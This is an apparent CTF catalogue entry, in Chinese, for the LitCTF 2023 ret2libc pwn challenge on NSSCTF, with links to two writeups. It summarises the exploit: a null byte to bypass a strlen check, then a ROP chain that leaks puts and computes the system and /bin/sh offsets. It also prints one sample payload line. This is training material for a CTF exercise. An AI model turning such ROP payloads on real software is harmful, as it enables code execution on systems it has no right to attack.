| ID: | 10690 |
|---|---|
| 标题: | [LitCTF 2023]狠狠的溢出涅~ |
| 描述: | 狠狠的溢出涅~ flag 格式 NSSCTF{} |
| 类型: | ret2libc |
| 网站: | NSSCTF |
| 题目链接: | https://www.nssctf.cn/problem/3877 |
| 赛事: | LitCTF |
| 年度: | 2023 |
| Flag值: | 无 |
| writeup: |
验证后的网址 b'\x00'填充绕过strlen检查,构造ret2libc链泄露puts地址并计算system和/bin/sh偏移 https://blog.csdn.net/ctfpwn/article/details/130997926 ROP链构造示例:payload1 = b"\x00".ljust(0x68,b'a') + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main) https://blog.csdn.net/qq_33348179/article/details/145942525 |